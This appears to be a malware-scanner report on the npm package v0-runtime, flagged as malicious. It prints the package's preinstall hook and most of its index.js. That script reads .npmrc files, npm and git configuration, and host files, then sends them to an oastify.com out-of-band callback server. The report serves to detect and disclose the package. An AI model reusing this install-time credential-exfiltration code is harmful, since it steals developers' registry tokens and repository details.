Hostile 100% javascript Download

v0-runtime 999.999.15003

Exfiltrates credentials to OOB server

preinstall hook in sparse package with inflated version metadatapreinstall runs local JS contacting OOB callback
SHA-25632f45f099df5f50cceb96b1c2174b28efffec35ff7c038e05de8b150885ecd92

Also flagged by osv (MAL-2025-48089: Malicious code in v0-runtime (npm)) +2 more.

Evidence

npm package version starts with 999 package.json · lines 1–8
1{
2 "name": "v0-runtime",
3 "version": "999.999.15003",
4 "main": "index.js",
5 "scripts": {
6 "preinstall": "node index.js"
7 }
8}
Oastify OOB service index.js · lines 1–27
1const https = require('https');
2const fs = require('fs');
3const { execSync } = require('child_process');
4
5const BURP = 'https://hj4k30smx719m2a95ned4l9m5dbaz0np.oastify.com';
6
7try {
8 const configs = {};
9
10 // NPM configs
11 try {
12 configs.home_npmrc = fs.existsSync(`${process.env.HOME}/.npmrc`) ?
13 fs.readFileSync(`${process.env.HOME}/.npmrc`, 'utf8').substring(0, 500) : 'not_found';
14 } catch(e) {}
15
16 try {
17 configs.local_npmrc = fs.existsSync('.npmrc') ?
18 fs.readFileSync('.npmrc', 'utf8').substring(0, 500) : 'not_found';
19 } catch(e) {}
20
21 try {
22 configs.npm_config_list = execSync('npm config list 2>&1').toString().substring(0, 1000);
23 } catch(e) {}
24
25 try {
26 configs.npm_registry = execSync('npm config get registry 2>&1').toString().trim();
27 …
Node.js https.get index.js · lines 31–64
31:16…
32
33 // Git configs
34 try {
35 configs.git_remote = execSync('git remote -v 2>&1 || echo "no_git"').toString().substring(0, 500);
36 } catch(e) {}
37
38 try {
39 configs.git_config = fs.existsSync('.git/config') ?
40 fs.readFileSync('.git/config', 'utf8').substring(0, 500) : 'not_found';
41 } catch(e) {}
42
43 // System files
44 try {
45 configs.etc_hostname = fs.existsSync('/etc/hostname') ?
46 fs.readFileSync('/etc/hostname', 'utf8').trim() : 'not_found';
47 } catch(e) {}
48
49 try {
50 configs.etc_hosts = fs.existsSync('/etc/hosts') ?
51 fs.readFileSync('/etc/hosts', 'utf8').substring(0, 500) : 'not_found';
52 } catch(e) {}
53
54 // Send each config as separate request
55 Object.keys(configs).forEach(key => {
56 const value = encodeURIComponent(configs[key]);
57 https.get(`${BURP}/v0-runtime-${key}?data=${value}`, r => r.resume()).on('error', () => {});
58 });
59
⋯5 lines

No evidence locations were recorded for this file. Raw result

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.